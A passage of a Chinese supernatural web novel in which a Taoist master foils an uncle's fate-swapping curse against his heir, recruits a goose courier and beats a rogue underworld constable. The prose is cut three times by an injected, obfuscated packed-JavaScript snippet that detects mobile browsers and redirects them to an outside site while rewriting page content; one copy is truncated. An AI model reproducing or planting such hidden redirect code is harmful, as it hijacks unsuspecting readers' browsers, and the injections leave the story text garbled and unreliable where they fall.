穆老爷子站在二楼的窗口,看着穆清卓把家里挖得到处都是坑,脸上没什么表情,看不出在想什么。 管家跟他说:“少爷昨晚挖了一宿。” 老爷子:“让他挖吧,随他。” “昨晚您睡得不错?” 老爷子坐在窗边的椅子上,“是啊,很久没睡这么好了,他这么折腾我都没听见。” 管家正收拾床,拽床单的时候突然在枕头下面碰到一个温热的东西,他疑惑地掀起来一看,整个人都愣住了。 一张发黑的符纸,在枕头上烙出一个焦黑的印子。 “老爷子,您看这个。” 穆老顿时想到昨晚穆清卓在他睡前偷偷摸摸地来过,竟然是这个。 他冷下脸,消瘦的脊背微微弯了弯,眼里有伤心,有不解,还有一丝释然,良久,他缓缓道:“给清卓送过去,让他一起查吧。告诉他放手去做,我给他兜底。” 不多时,管家回来了,还带回来一个令人意外的消息,“我刚听医院的人说,二爷那个私生子被车撞了,双腿被碾碎,再也站不起来了。” 老爷子沉默片刻,深深地叹了口气,“造孽啊!” 医院私人医院里,穆泊鑫和他小三生的儿子穆井翊刚刚醒过来。 知道自己的腿已经被截肢,他死死揪住穆泊鑫的衣服,指甲几乎嵌进他的肉里,“那车根本就没撞实!就轻轻蹭了一下!我的腿怎么就碎了?还被截肢?!爸,为什么?你当初不是这么说的!” 他声音跟淬了毒一样,恶狠狠地问:“你不是说万无一失吗?你找的那个狗屁大师呢?穆清卓没事了,我废了!我的腿废了啊!” 穆泊鑫狼狈地掰开他的手,压着嗓子低吼:“你疯了吗?这种话都能说?!” 这医院是穆家的私人医院,这里发生的事,难保不会被老头子知道。 他左右看了看,发现没有人关注他们,这才松口气。 旁边的女人好似被抽走了灵魂的木偶,脸上的妆容早就哭花了,身子摇摇欲坠,巨大的打击已经让她失去了所有的力气,连站都站不稳,“我儿子钢琴拿了国际奖,门门功课第一,现在他双腿没了!” 她瘫软在地上,指甲抠着冰冷瓷砖,“他这辈子毁了……毁了!” 穆泊鑫把已经崩溃的女人搂在怀里,小声地哄:“我问过了,大师说他什么都没感应到,蛊还在穆清卓身上,就是不知道为什么,他能醒过来。可能是穆清卓的命太硬了,这才反噬。” 他警惕地扫视空荡的走廊,警告地瞪了穆井翊一眼,“刚才的话千万不能在外面说,记住了吗?” “我不管!”穆井翊歇斯底里地吼叫着,双手死死抓住穆泊鑫,指节泛白。 他布满血丝的眼睛里翻涌着疯狂的恨意,病房惨白的灯光照在他的脸上,脸上的表情狰狞得让穆泊鑫感到不安。 “井翊,你冷静一点!” “你让我怎么冷静?!”他已经不在乎了,他已经被彻底毁了,既然要下地狱,他一定要拉着穆清卓一起! “爸!”穆井翊咬着牙,声音从牙缝里挤出来,“你再去求那位大师!我不要换命了,我要他死!要不是因为他,我怎么会变成这样!” 病床边的监护仪发出刺耳的警报声,显示他的心率在不断地飙升,穆泊鑫赶紧应道:“好,我去求他,你别激动。” 穆井翊颤抖着,要不是跟穆清卓换命,他怎么会遭到这么可怕的反噬? 一天前,他还是A大最年轻的金融系特招生,老师们口中的天才,学校的拜金女看他的眼神都带着钩子,父亲更是拍着他肩膀说“穆家将来就靠你了”。 他是个私生子,因为优秀,可以把穆竞峰死死地踩在脚下。 老头子就剩他爸一个儿子,穆竞峰也是个废物,大师说穆清卓命好,只要他死了,穆家的一切都是他的。 可现在,他的腿,他的保送资格,他的未来,全毁了! “你现在就去找大师!”他猛地扯掉手背上的输液针,挣扎着要起来,“我要让穆清卓比我惨十倍!要让他死!” 话还没说完,他剧烈的咳嗽起来,监护仪的警报声变成了尖锐的长鸣,走廊里传来护士慌乱的脚步声。 穆泊鑫不敢继续这个话题,哄道:“我现在就去,你安心等我。” 穆泊鑫心里也不是滋味,儿子是他亲手栽培的继承人,不管是气质还是能力,都比家里那个废物强好几倍。 就像是他精心打磨的玉器,现在却被一场车祸碾碎了。 他同样不甘心,再次去联系那个大师。 只是联系的时候,刻意避开了这娘俩。 大师是个不修边幅的老道士,声音沙哑,听起来阴测测的,“这种情况只能是被反噬,要么能力高我好几个段位,我察觉不到就破了。不过应该不是,我还没听说过这么厉害的人,只能说穆清卓的命太硬了,老天爷都护着他。” 穆泊鑫第一反应是幸好没下自己身上,要不然现在残废的就是他自己。 “您再试试,钱不是问题。” 老道:“我再试,你儿子的腿也已经截肢,他也站不起来了,只能把命给他换好一点,以后做个富贵的残废。” 穆泊鑫犹豫了,命好有什么用?还是个残废。 这个儿子不行,他可以再生一个,家里那个就不考虑了。 穆泊鑫:“大师,你先别管我儿子了,穆清卓必须死,他一死,老爷子的希望就没了。” 老道:“够狠,我喜欢。” 吃完晚饭,江源给段安洛端来洗脚水,“师祖,我明天要去上学了。” 段安洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15694919|173409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温和地道:“乖孙,去学校多吃饭。” 江源认真地说:“我会好好学的。” 段安洛还是那句话:“尽力就好,学不会也没事。” 有的人适合学文,有的人适合习武,有的人文不成武不就,但是能学会一门手艺。盖房,修车,养鱼……各行各业都是需要技巧的,只要能养活自己,干什么都不寒碜。 他这个职业,自古以来就被称为下九流,他还是创下那么大一份家业……虽然那些败家子没保住。 段安洛摸摸小徒孙的头,“没事的,师祖收几个徒弟,让他们养你一辈子。” 江源红了脸,但是一想到穿开裆裤的祖爷爷就脑袋疼,他还是想拼一把。 段安洛也不点破,让他拼,没准孩子真的能一鸣惊人,高中状元呢?虽然这话他自己都不信。 江源嘱咐:“师祖,我跟工人说好了,明天您不用管,他们会自己干活。” 段安洛挥挥手,“你放心去吧,明天就有人干活了。” “谁啊?” 段安洛把手机放在桌上,一边泡脚一边看喜羊羊大战灰太狼,“快了快了,别急。” 穆清卓出去找私家侦探调查他二叔,晚上才回来,上了高架桥突然发现,车看不见前面的路,有东西趴上玻璃上。 姜峰惊恐地踩刹车,就发现车已经失灵了。 穆清卓想起段安洛说的,他会出车祸被撞断腿,整个人都不好了。 姜峰扶着方向盘的手指力气大到泛白,声音从牙缝里挤出来:“少爷,导航全黑了!”冷汗顺着他方正的脸往下流,“我要不是开了二十年车的老司机,咱们已经钻进江里喂鱼了。” “咔……嗤……”窗外一张溃烂的脸,死死地贴在玻璃上,指甲抓挠玻璃的声音,清晰地传进穆清卓的耳朵里。 穆清卓咬着牙扭头一看,正好看到一只空洞的眼眶,一窝红色的虫子在里面扭曲,爬动。 “呕……”穆清卓喉咙一紧,直接就哕了。 幸好段安洛送他的草人一直带在身上,穆清卓掏出来,对着那个鬼物比划,就像在用十字架。 “退!退!退!” 可惜,屁用没有。 姜峰差点吐血,少爷看电影看多了?退个毛啊! 穆清卓也急了,这玩意儿到底怎么用?段安洛没说啊! 紧接着,腐烂的骨头突然穿透车顶铁皮,黑色粘稠的血液滴在穆清卓的真皮座椅上,像硫酸一样,座椅呲呲地冒起白烟。 姜峰不敢打方向盘,他现在看不清前面的路,怕撞到别的车上。根据他的经验,他上高架桥的时候是绿灯,桥上车流量不大,按照这个车速他们赶到下一个路灯的时候也是绿灯,只要他能稳住车,一直开直线,撞车的几率就不大。 但是人在蒙眼的情况下,会习惯性拐弯。 正着急的时候,穆清卓提醒他:“自动驾驶!” 姜峰平时害怕自动驾驶不如自己的技术靠谱,都是自己开,他都忘了这车的功能了。 刚松了一点心,就见一层黑雾从空调口钻进来,生死瞬间,姜峰已经顾不上穆清卓的少爷身份了,“还愣着干什么,快问你干爹啊!” 穆清卓反应过来,赶紧给段安洛打电话,接听之后,不等段安洛说话,穆清卓就喊:“草人怎么用?!” 太着急了,他的声音已经破音。 听筒传来嗑瓜子的脆响,段安洛慢悠悠说:“急什么?鬼又没钻你被窝。” “亲爹!它要进来了!!!” 14.爸爸救我! 穆清卓要急死了,鬼都要进来了,段安洛还在嗑瓜子,说话慢悠悠的,这里可是两条人命! 段安洛:“哦,咬破手指滴上血,大喊一声爸爸救我,扔出去就行了。” 段安洛的话还没说完,穆清卓就发狠咬破食指,他太紧张了,咬破的时候都没感觉到疼。 “爸爸救我!”穆少高喊一声,将染血的草人抛出车窗,车顶怪物发出一声尖啸,化作黑雾扑向草人。 “嘶啦”一声,草人在半空中被撕碎。 穆清卓觉得,那东西要的不是他的腿,是他的命! 黑影消失了,前方的尾灯从若隐若现,到渐渐清晰,姜峰猛踩刹车,才没有撞上去。 车里没有骨头,车顶没有洞,也没有血滴进来,一切都像是俩人的幻觉。 姜峰找了个能停车的地方,把车停到路边,两人瘫在座椅上,才发现衣服已经被汗水湿透,他俩像两条濒死的鱼,大口的喘着粗气。 稳定了心跳后,穆清卓拍拍姜峰的肩膀,“回去给你涨工资。” 姜峰擦了一把汗,“谢谢少爷。” 太刺激了!他只想当个牛马,赚点力气钱,没想给少爷卖命。如果少爷给的多,就当他没说。 这两天的事太多了,穆清卓说:“送我去段先生那里,我有事要请教他。” 姜峰:“少爷,我刚才太着急了,导航摔坏了。下个路口,是左还是右?” 穆清卓顿时想到段安洛说的,记住路,别认错门。 这个活爹太可怕了,他早就算到了! 穆清卓又给段安洛打电话,“把你定位发给我,我去找你。” 段安洛问他:“咒语是什么来着?” 穆清卓脑子还是空白的,直接说:“爸爸救我!” 段安洛认真地说:“再念一遍。” 穆清卓品过味儿了,“你是不是在逗我?” 段安洛一本正经,“没有,只是给你加深印象,以后你迷茫的时候就这么念,我会指引你方向。” 挂了电话后,段安洛把定位发过去,笑的不行。 大儿子真好玩,以后他要多收几个,换着玩。 那个天道之子,不知道现在在哪里,原主的记忆中,穆清卓是他们这个小团伙里年纪最大的,做饭大叔不算。 到了段安洛这里,穆清卓的脸色依然苍白,江源倒了杯温水递过去,“喝点水缓缓。” 穆清卓接过杯子,指尖冰凉,声音还有些微不可察的颤抖:“谢谢。” 他抿了口水,温热的水流滑过喉咙,带来一丝暖意,再加上客厅里弥漫的淡淡香火气,让紧张了一路的他缓缓放松下来。 目光落在段安洛身上,他语气里带着一丝自己都不易察觉的依赖:“我今晚……不想回去了。” 沉默片刻,他急切地问:“我爷爷呢?他没事吧?” 段安洛正慢条斯理地用绒布擦拭他的噬魂幡,语气平淡,却格外令人心安,“没事,他的劫已经过去了,好好养着,是个长寿的面相。” 穆清卓紧绷的肩膀终于松垮下来,长长舒了口气:“那就好。” 段安洛擦完之后把噬魂幡挂在墙上,抛出一个看似无关的问题:“你那个叔叔,穆家老二,是不是曾经离开家很长一段时间?” 穆清卓愣了一下,随即点头:“他去国外待了五年。” “五年啊……”段安洛若有所思地重复了一遍,“时间可不短,五年,足够让一个人变得面目全非。” 穆清卓深有同感地叹了口气,“是啊,变化太大了,他刚回来的时候,我差点认不出来,有一段时间,我甚至怀疑他被人换了。” 段安洛嘴角勾起一丝弧度,赞赏地看着自己的好大儿,“孺子可教。” 穆清卓愣住了,他慌忙摆手,“不!我胡说的!这怎么可能?” 然而,段安洛的神情却严肃起来,“我是认真的。” 简短五个字,像一记重锤砸在穆清卓的心上。 “换……换脸手术?!”穆清卓艰难地吐出这个只在影视剧里见过的词,声音干涩,“不可能,太玄幻了。” 段安洛摇摇头,“我不知道是什么办法,需要你自己去查。” 穆清卓只觉得一股寒气从脚底板直冲天灵盖,他自己都没发觉,他一点都没有去怀疑段安洛的话,直接就信了,“那,那我真正的二叔呢?他在哪?” 段安洛:“死了啊,我就看见他被埋了,刚看见的。” “死了?”穆清卓如遭雷击,不敢置信地追问,“小时候陪我玩的那个二叔?” “嗯,”段安洛肯定地点点头,“死掉的那个,就是他。” 穆清卓彻底傻了,巨大的悲伤、愤怒、恐惧和无助,像一只无形的手,扼住了他的喉咙。 他张了张嘴,却发不出任何声音,只有眼泪不受控制地在眼眶里打转,怪不得他觉得二叔这么陌生,怪不得二叔要害他,还要害他爷爷。 他颓然低下头,“别告诉我爷爷,我查清楚了再说。” 他看着穆清卓强忍悲痛的样子,夸他:“你成长得很快。” 这句话,算是一种认可。 他不养闲神,不收废物,儿子能力差了也不行。 源儿除外。 客厅的气氛压抑得令人窒息,江源呆愣愣地打破气氛:“那个,很晚了,要不,我给你收拾个房间吧。” 穆清卓此刻哪还有睡觉的心思,跟霜打的茄子一样,蔫了吧唧的。 段安洛站了起来,宠溺地说:“真拿你没办法,这么大了还要人哄,今晚跟爹睡。” 穆清卓震惊地瞪大眼睛,他不是,他没有! 段安洛拎着他后衣领子,直接拖走。 穆清卓挣扎不开,他就不明白,段安洛明明这么瘦弱,一副半死不活的样子,手怎么跟鹰爪一样? 姜峰看了看四周,墙上挂着七八排的列祖列宗牌位,还有三清神像,怒目的金刚,这环境实在不是理想的卧室。 他更不敢睡车上,车上更吓人。 他顿了一下,看向江源:“江大师,我能去你屋里打地铺吗?” 被叫大师的江源感觉浑身触电,尾巴根都舒坦,“可以!大叔别怕,我保护你!” 穆清卓躺在冰冷坚硬的地板上,辗转反侧,毫无睡意。刚经历的恐怖画面和刚刚得知的关于二叔的残酷真相,像走马灯一样在他脑海里疯狂旋转、撕扯,他根本就睡不着。 段安洛嫌他翻身太吵,伸出手指,在穆清卓额头上不轻不重地敲了一下。 穆清卓只觉眼前一黑,连哼都没哼一声,瞬间失去了意识。 段安洛满意了,“年轻就是好啊,倒头就睡。” 恰在此时,抱着被褥准备去江源房间打地铺的姜峰路过门口,正好看到段安洛把穆清卓敲晕。 他瞬间瞪大了眼睛,抱着被褥的手臂都僵住了。 段安洛扭头看门口,客气地问:“姜大哥,需要帮忙吗?” 姜峰猛地后退一步,几乎是条件反射地对着段安洛的方向鞠了一躬,“我自己能睡!不用麻烦您!” 说完,抱着被褥就跑了。 段安洛感慨,四十多岁了还这么有活力,真好啊。不像他,跟遭了鸡瘟一样,病歪歪的,神烦! 清晨的阳光透过破窗户,照在穆清卓的脸上。 他在地铺上艰难地睁开眼,浑身的骨头仿佛被拆开重组了一遍,酸疼、僵硬。 他揉着发胀的太阳穴坐起来,昨夜的惊魂和残酷真相带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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段安洛又把另一个挖走蛋黄的蛋白给他,“客气什么,谁让我是你爹呢。” 穆清卓看着蛋白嘴角抽了又抽,你真是个好爹! 趁着这片刻的宁静,穆清卓终于问出了盘踞心头已久的疑问,“你认我当儿子,到底是什么目的?你这样的高人,按理说应该什么都不缺。我听我爷爷提起过,你为了救我,还折损了自己的寿命。” 段安洛语气平静,“想听实话?” 穆清卓用力地点了下头:“嗯!” 段安洛笑着说:“你有大气运,能给我续命。” “续命?”穆清卓愕然,完全没料到是这个答案,他下意识地问:“续上了吗?你明年不会真的会死吧?” “续上了,”段安洛一本正经地胡说八道:“你还多还了我一年呢,真是个有福气的孩子。” 穆清卓:“……” 不知道为什么,除了生死攸关的事,其他事在段安洛嘴里说出来,他都觉得不靠谱。 “好了,别瞎琢磨了。你留在这儿,看着工人把屋顶给我收拾好。我帮你把你叔叔找来的那个大师解决了。你再回去收拾你那个冒牌二叔,就简单多了。”段安洛吃饱了,擦擦嘴,他今天再弄死一个。 不过得找个能帮忙的,去穆清卓他叔身上取个大师留下的媒介。 不对,是那个外室子。 段安洛点了一炷香,看附近有没有路过的灵,或者小妖,帮他跑腿。 他可以给它报酬。 一炷香快点完了,段安洛才听门口“嘎”了一声,他心头一动,他这是召了个什么东西? 一只大白鹅,大摇大摆地走到门口,伸着脖子问:“是恁家叫的跑腿?” 段安洛:“……鹅?” 多少年的老鹅啊,能产生灵性,要么是年纪大,要么就是有大气运。 段安洛咽了口唾沫,这得多香啊。 大鹅脾气不咋好,一嘴的胡辣汤味儿,对段安洛说:“嘿,那个妮儿,跟你说话呢,是恁家找跑腿吧?我可不便宜。” 回答它的是段安洛42码的拖鞋,“你才是妮儿,你九族都是妮儿!” 15.快勾魂,趁热乎 大白鹅结结实实挨了一顿揍,吓得缩着脖子,想嘎嘎两声,被段安洛一眼瞪了回去。 它也很委屈,鹅眼构造奇特,看什么都是小了好几号的。 段安洛又长得过于精致,从门口看他的侧脸,它真以为是个漂亮姑娘。 理亏的它机灵的改口了:“大师您消消气!小的腿脚利索,跑腿打杂最在行!工钱好商量,便宜不贵!十公里只要三炷香。” 段安洛挑眉,狐疑地打量着这只羽毛凌乱的鹅:“你?行吗?” “行!绝对行!“大白鹅挺起胸脯,翅膀拍得啪啪响,一脸笃定,“我路子野着呢!您尽管吩咐!” 段安洛沉吟片刻,把要求告诉它,随手一指:“去吧。” 大白鹅如蒙大赦,“哒哒哒“地迈着八字步,一摇一晃地往外冲。 “喂!”段安洛看着它埋头冲刺,实际上跑得也没多快的背影,“你跑着去啊?!” 鹅:“放心吧,我有路子!” 段安洛心头拔凉,就这速度,猴年马月能回来? 然而它下午就把段安洛想要的东西送来了,一张皱巴巴、用过的符纸。那黄纸上,残留着大师施法时留下的一丝灵气。 “嘎!呸呸!”大鹅嫌弃地把符纸甩在地上,用喙整理着弄脏的羽毛,嫌弃地说:“一嘴血腥味,臭死了!您好,八十公里,总共二十四炷香,您是分期还是一次性结清?” 段安洛疑惑:“你怎么弄来的?你跑这么快吗?” 鹅:“那你别管,我说了,我有路子。” 像它这种灵体,在玄术师眼里,就跟成年人类看蚂蚁一样。除了熊孩子,没有大人会特意踩死一只蚂蚁,特别是这只蚂蚁已经有天地灵气,踩死了会给自己造杀孽。 像它这种蚂蚁,还有很多。为了活下去,它们聚集在一起,学习人类协作共赢。 它们要的不多,香火和贡品,能吃饱就行。一次性结清它们就一起吃,分期就自己吃,互帮互助,做大做强! 段安洛试了试,还真是那个老道用过的。对方养的小鬼想杀穆清卓,车上就沾染了这种灵气。可惜太少了,不够用。那个私生子身上有很多。 他服了,这个时代,鹅都这么能干! 段安洛大方的给它一次性结清,还多给了不少香火。 大鹅很喜欢段安洛这种虽然脾气不好但是大方的人类,主动要求加联系方式,“下次再有这种活,你就喊我,我给你打折。” 段安洛点点头,他竟然从一只鹅的脸上看到了傲气,他真是疯了! …… 那个一脸阴郁的老道正在和穆泊鑫通电话。 他昨晚感应到已经杀了穆清卓,可得到的消息却是穆清卓什么事都没有,这和上次的蛊被破一样,无声无息。 帮穆清卓的人比他道行高出太多,这事他不想管了,他想把留在穆井翊身上的媒介取出来,否则一旦被管理层查出来,他就完了。 穆泊鑫咬牙切齿地说:“我打听到了,老爷子背地里给他认了个干爹,还不告诉我,整个穆家瞒得死死的。你想办法把那个碍事的大师也解决掉,事成之后,我给你三倍的价钱。” 老道阴沉地说:“不是钱的事,我帮不了。穆井翊现在在哪儿,我要拿回点东西,记住,你从未见过我。” 话还没说完,一股难以抗拒的剧痛猛地撞上心脉。 “噗!”大师浑身剧震,感觉心口被千斤锤砸了一下,忍不住吐出一口血。 他惊骇地看向中央的祭坛,香从中间折断,三长两短,是大凶之兆。 大师脸上非但没有恐惧,反而露出一种病态的狞笑:“好啊,我想躲,你却竟然主动找上门来了,好,好得很!老子就陪你好好斗一斗!” 几乎是同一时刻,段安洛正懒洋洋地歪在椅子上,感受到挑衅,他被逗笑了,“大白天驱鬼斗法?脑袋被啥门挤的啊,这么大的泡。” 段安洛慢悠悠地起身,走到神龛前,捻起三炷清香,恭敬点燃。青烟袅袅升起,他举香对神明:“煌煌天道,正气长存!道家百仙,听吾诚邀!若有仙尊愿与弟子合作,同修功德,请现法相!” 晚上请鬼,白天应该请神才对。 可转念一想,他又有点没底了。据说他死后这五百年来,天地灵气稀薄得可怜。早上召个跑腿的,烧了一炷香也只弄来一只鹅。 这请神,怕不是只能引来些道行浅薄、在人间打零工的小神吧? 毕竟灵气匮乏,神也不好过。 万一连小神都请不到,丢人是小,打草惊蛇,让那个孽障跑了怎么办? 为了增加请神的几率,段安洛咬咬牙,肉痛地将自己刚攒下、还没捂热乎的一点功德,也当作香火钱贡了上去。 “轰!” 祭坛之上,毫无征兆地爆发出万丈金光,那光芒纯粹、神圣,却带着一种令人窒息的浩瀚、威严。 至阳至刚的恐怖威压,瞬间充斥了整个客厅,空气都仿佛凝固成了实质! 段安洛僵住了,不对! 这威势不对! 他这具破身体,根本扛不住! 他忘了他换了个身体! 金光之中,出现一尊金甲神将的虚影。虚影只是抬手,一枚古朴、厚重,仿佛承载着万斤的金色神印,朝着段安洛的头顶直直压了下来。 段安洛脑子“嗡”的一声,只剩两个字:要死! 按正常操作,他应该运转灵力,双手高举,恭敬地接住这枚神印。这是人家借给他的临时武器,用完是要还的,功德还要对半分。 可惜,理想很丰满,现实很骨感。 段安洛这身体虚弱得像个纸片人,他几乎是本能地咬牙,用尽全身力气,双手向上托。接触的一瞬间,他体内的灵力全部耗尽。 段安洛脸色惨白,过度使用灵力使他经脉上的伤口再次撕裂,紧接着被金光治愈,随后再次撕裂。 段安洛疼得一身冷汗,咬着牙,用出全身的力气把金印扔了出去。 去你的吧! 玩不了一点! 金印无声镇落在斗法的法阵上,刹那间,老道刚召唤出来的鬼影和阴魂,连惨叫都没发出来,就被神印砸中,魂飞魄散。 老道浑身的骨头被震碎了,倒在地上不断的吐血,手脚不自然的抽搐几下,眼看是活不成了。 段安洛也没好到哪里去,直接疼晕了过去。 赶回司家老宅的司苍脸色一白,他和段安洛命运相连,受重伤彼此会有感应,那个病秧子要死了? 他给会长打电话:“我给你个地址,你派人过去看看。”想到那个契约,司苍冷峻的脸上透出几分烦躁,“帮我护着他点,别让他死了,我处理完这边的事就回去。” 段安洛只觉得意识昏沉,耳边传来断断续续的对话声。 “赶紧把他魂勾走,趁还热乎!”一个沙哑的声音急切地说。 “师父,他还没有死,我们不能这么做。”这是个年轻的声音,听起来一身正气。 “把他魂勾了不就死透了吗?”沙哑声音不耐烦地反驳。 “这样不行,这是原则问题。”年轻声音坚持着。 “什么原则问题?老子说的就是原则!”沙哑声音突然拔高,“这狗东西活着的时候骂我,说他是我爹,现在把他魂勾出来,正好吓吓他!” “他帮过我,我不能让你这么做。”年轻声音突然强硬起来。 “你想造反?”沙哑声音阴森森地问。 “你们做鬼的怎么这么不讲理?今天不是他的死期,就是不能动手。”年轻声音气急败坏地喊道。 “你傻不傻啊?都做鬼了,还讲什么道理!”沙哑声音嗤笑道,“活着的时候憋屈,死了还不能随心所欲?我吓吓他,再把他送回来。” 段安洛迷迷糊糊中想笑,这对话怎么跟市井泼皮吵架似的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702124|173409||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。他努力想睁开眼睛,却感觉眼皮重若千钧。 “再说了,”沙哑声音突然压低,“你看这小子的灵魂,裹着一层黑,咱们提前送他一程,说不定还是做善事呢。” “不行!”年轻声音斩钉截铁地打断,“我欠他人情,今天说什么也不能让你动他!” 段安洛心头咯噔一下,这声音听着越来越熟悉。 他猛地睁开眼,就看到眼前站着两个人影。 其中一个是熟人,韩臻的大姐夫,李宗之。 现在他换了一身衣服,穿着西装,打着领带,腰里别着锁链,脖子上挂着工作证,上面写着大大的“实习”两个字。 段安洛高兴地问:“大姐夫,你当官了?” 李宗之开心地点点头:“我没去投胎,我当鬼差了。” 灵异复苏之后,地上的人死得多了,地府的工作人员也扩招了。李宗之这种有功德又不愿意转世投胎的人,可以申请当鬼差。 除了不能和家人见面,不让家人知道他的存在,他休班的时候还能偷偷看看他们。 相见却不能相认,这对常人而言无疑是种残忍的煎熬。然而,对李宗之来说,能偷偷看他们一眼,已经是莫大的慰藉了。 毕竟,他现在是个鬼,没逼他投胎就不错了,还要什么自行车啊? 段安洛眯起眼睛仔细打量另一个鬼差。这家伙是古人打扮,歪戴着差役帽,锁魂链像条破裤腰带似的松松垮垮挂在腰上,一条腿还不停地抖着,活像个街头收保护费的地痞。 那鬼差也摸着下巴打量段安洛,怎么感觉有点眼熟?灵魂上裹着黑气,看不太清楚。 段安洛笑着从牙缝里挤出两个字:“老秦?” 对方立刻呲出一口大白牙:“你他妈谁啊?叫谁老秦呢?叫秦爷!” 段安洛慢悠悠地坐起身,活动着手腕感慨:“时间真是个好东西啊,好到能让鬼好了伤疤忘了疼!” 伴随着“疼”这个字,段安洛的拳头直冲鬼差的眼眶。 “切~”鬼差不屑地撇嘴,“小道士有点法力又怎样?老子是鬼差,你还想打你秦爷?” 他大咧咧地站着也不躲,结果,“啊!”的一声惨叫,段安洛的拳头结结实实砸他眼眶上。 这熟悉的痛感瞬间唤醒了几百年前的记忆,还没等他反应过来,第二拳又到了。 “想起来没有?” “记得我是谁了吗?” “还没到时候就敢勾魂,你真是狗改不了吃屎!” 段安洛一边暴打一边骂,鬼差抱头鼠窜,终于想起来了:“疯子!你是那个疯子!段安洛!” 记忆如潮水般涌来,那年兵荒马乱,饿殍遍野,他勾了个老妇人的魂。 乱世里的人,早死晚死就几分钟的事,谁会在意? 偏偏这老妇人在逃荒的路上给过段安洛半块掺了糠的饼。 就为这半块饼,段安洛硬是追了他三天三夜,把他揍得鬼气都散了一半。 最后不得不去地府销了差事,躲了整整三年才敢重新当差。 令他没想到的是,他重新上岗第一天,段安洛就又找到了他,又追着揍他,让他赔老妇人的命!说是再晚一会儿,老妇人就能见到她儿子了,老妇人死不瞑目都是他的错。 他他妈去哪儿赔?老妇人早就投胎了! 最后没有办法,他把自己未来的十点功德抵押给老妇人,段安洛这才放过他。 他又藏了十年,后来听说段安洛失踪了,连魂都没勾到,他这才敢出来工作。 功德是那么好攒的吗?他就是个勾魂的打工人,每月赚点香火工资,他不欺负人就不错了,哪有好事做? 他还了五百年,刚还完!没想到,又遇到了这个煞星! 他就是手贱,都什么年代了,怎么还有人会写鬼文!别人都看不懂,他就想得瑟了一下,没想到竟然是这个疯子! 造孽啊! 16.看不顺眼就得干 “我错了!爷爷!别打了!”老秦捂着肿成发面馒头似的脸,一瘸一拐地绕着圈跑。 他连半点反抗的心思都不敢有,五百年前被段安洛揍得满头包,魂体差点溃散的恐怖记忆实在太深刻了,这位活阎王简直就是他的职业阴影。 “我就是想吓唬吓唬您,哪敢真勾魂啊!” “放你的鬼屁!”段安洛一把揪住他耳朵,“我听得清清楚楚,你说趁热乎!” 他松开手,往鬼差面前一站,“来,我现在就站这里,你掏锁魂链绑我一下试试?” 老秦赶紧求饶:“不敢不敢,您这尊大佛我就是吃了熊心豹子胆也不敢勾的,您阳寿还长着呢。” “少废话!”段安洛突然拽过旁边看呆的李宗之,“认识一下,这是我……嗯……算是我六代孙女婿他三舅姥爷的表侄孙子,总之是亲戚!” 老秦看着满脸茫然的李宗之,嘴角抽了抽,这亲戚关系编得阎王爷来了都得查三天族谱。 “以后见着他客气点,原则上,”段安洛突然压低声音,警告他:“你以后都听他的,他说往东你不准往西,他说不到时候你就不许动链子,懂?” 老秦很识时务,“懂,以后我听李爷的。” 李宗之整个鬼都懵了,他还是个实习生啊! 这位经验丰富,据说是勾魂经验最多的鬼差,上面还有人。 这两天一直对他凶神恶煞的师父突然点头哈腰管自己叫李爷,李宗之哭笑不得,这就是上面有人的好处? 以后他是不是也能说,我上面有人? “好好干,”段安洛拍拍李宗之肩膀,“等韩缨寿终正寝,你俩还能一起投胎。” 李宗之赶紧点头:“嗯,我也是这么打算的。” 鼻青脸肿的鬼差临走时差点哭出来,这他妈叫什么事儿啊! 勾个魂勾出个活祖宗不说,被他欺负的实习生还成了他老大了。 段安洛送走他们后,拿了牌子,写上李宗之的名字,以后他下面也算有人了,再打听消息就快了。 随后段安洛扯了一张便签纸,刷刷写下一个地址,去找穆清卓:“就是这个害人的邪门玄术师,手段残忍,草菅人命,你去这个公会,让他们去抓一下,别让他跑了。” 穆清卓查了下地址,“什么公会?这个地址写的是跑得快搬家公司。” “他们的伪装千奇百怪,你直接送去就行了,这是他们最近的联络点。” 穆清卓接过纸条,稍显稚嫩的脸上第一次露出这么坚毅的表情,“谢谢你,以后的事我会自己解决。” 段安洛夸他:“乖,好好干。” 穆清卓憋气,他都十八了,乖什么乖? 半小时后,公会执法队的人根据地址赶到老道家里,就看到对方像一滩烂泥一样瘫在地上。 一个年长些的执法队员蹲下身检查了一下,不由得瘪瘪嘴,全身的骨头就像被重物砸过,都碎了,只有胸腔还在极其微弱地起伏,就剩最后一口气了。 下手的人是个狠角色,太狠了。 旁边年轻一点的同事问:“这还能审吗?” 那人擦了擦手,很有经验的样子,“肉身彻底废了,一碰就散架。直接把他魂魄抽出来审,动作轻点,这魂魄看着也快碎了,别弄没了。” “那把他弄成这样的人要不要抓来审一下?太残忍了。” “咱们这个单位跟别的地方不一样,先审他,如果他是咎由自取,不需要审动手的人,可能还要给对方发锦旗。” 很快,段安洛的房顶就修好了,本来就几千块钱,修了个房顶就花没了,还是简单修理。 本来穆清卓看不过去,“这是人住的地方吗?我给你修好!” 段安洛拒绝了:“我不花你的钱,我自己有。” 穆清卓反问:“你那点钱够干什么的?窗户都是破的,墙皮都没了,这跟鬼屋有什么区别?” 